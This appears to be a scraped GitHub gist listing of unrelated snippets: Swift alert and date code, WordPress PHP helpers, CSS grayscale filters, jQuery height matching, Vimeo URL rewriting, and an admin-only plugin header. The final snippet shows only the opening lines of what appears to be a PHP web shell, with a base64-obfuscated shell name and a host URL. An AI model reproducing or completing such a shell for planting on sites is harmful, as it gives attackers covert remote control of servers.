This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class func invokeAlertMethod(msgtitle: NSString, msgBody: NSString, delegate: AnyObject?) { | |
var alert: UIAlertView = UIAlertView() | |
alert.title = msgtitle | |
alert.message = msgBody | |
alert.delegate = delegate | |
alert.addButtonWithTitle("Ok") | |
alert.show() | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Playground - noun: a place where people can play | |
import UIKit | |
// Setup the calendar object | |
let calendar = NSCalendar.currentCalendar() | |
// Set up date object | |
let date = NSDate() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$included_files = get_included_files(); | |
$stylesheet_dir = str_replace( '\\', '/', get_stylesheet_directory() ); | |
$template_dir = str_replace( '\\', '/', get_template_directory() ); | |
foreach ( $included_files as $key => $path ) { | |
$path = str_replace( '\\', '/', $path ); | |
if ( false === strpos( $path, $stylesheet_dir ) && false === strpos( $path, $template_dir ) ) | |
unset( $included_files[$key] ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.teamMemberInner img { | |
filter: url('js/filters.svg#grayscale'); | |
filter: gray; | |
-webkit-filter: grayscale(1); | |
-webkit-transition: all 0.7s ease; | |
-moz-transition: all 0.7s ease; | |
-ms-transition: all 0.7s ease; | |
-o-transition: all 0.7s ease; | |
transition: all 0.7s ease; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function addCustomScripts() { | |
wp_enqueue_script( 'gray-scale-functions', get_template_directory_uri().'/js/functions.js', array( 'jquery' ), false, false); | |
wp_enqueue_script( 'gray-scale', get_template_directory_uri().'/js/grayscale.js', array( 'jquery' ), false, false); | |
} | |
add_action( 'wp_enqueue_scripts', 'addCustomScripts' ); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(_parent_class).each(function(i, obj) { | |
var xa = jQuery(obj).find(_find_class_name), | |
h = jQuery(xa).map(function(){ | |
return jQuery(this).height(); | |
}); | |
var are = h.context.firstElementChild.clientHeight; | |
jQuery(_find_class_name).css('height', h.context.firstElementChild.clientHeight); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
array(3) { | |
["scheme"]=> | |
string(4) "http" | |
["host"]=> | |
string(9) "vimeo.com" | |
["path"]=> | |
string(9) "/80629469" | |
} | |
player.vimeo.com/video/80629469 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function changeVimeoURiToEnableLightBox($url){ | |
$video_url = parse_url($url); | |
if($video_url['host'] == 'www.vimeo.com' || $video_url['host'] == 'vimeo.com'){ | |
return 'player.'.$video_url['host'].'/video'.$video_url['path']; | |
} | |
return $url; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Admin Only Sections | |
Plugin URI: http://jorgerodriguez.dk/ | |
Description: Block non admin users | |
Version: 1.0.3 | |
Author: Jorge Rodriguez (jycr753) | |
Author URI: http://jorgerodriguez.dk/ | |
*/ | |
$wpba_required_capability = 'edit_others_posts'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
$sh_id = "LT1dIGZ4MCBbPS0="; | |
$sh_name = base64_decode($sh_id); | |
$sh_mainurl = "http://fx0.name"; | |
$html_start = '<html><head> |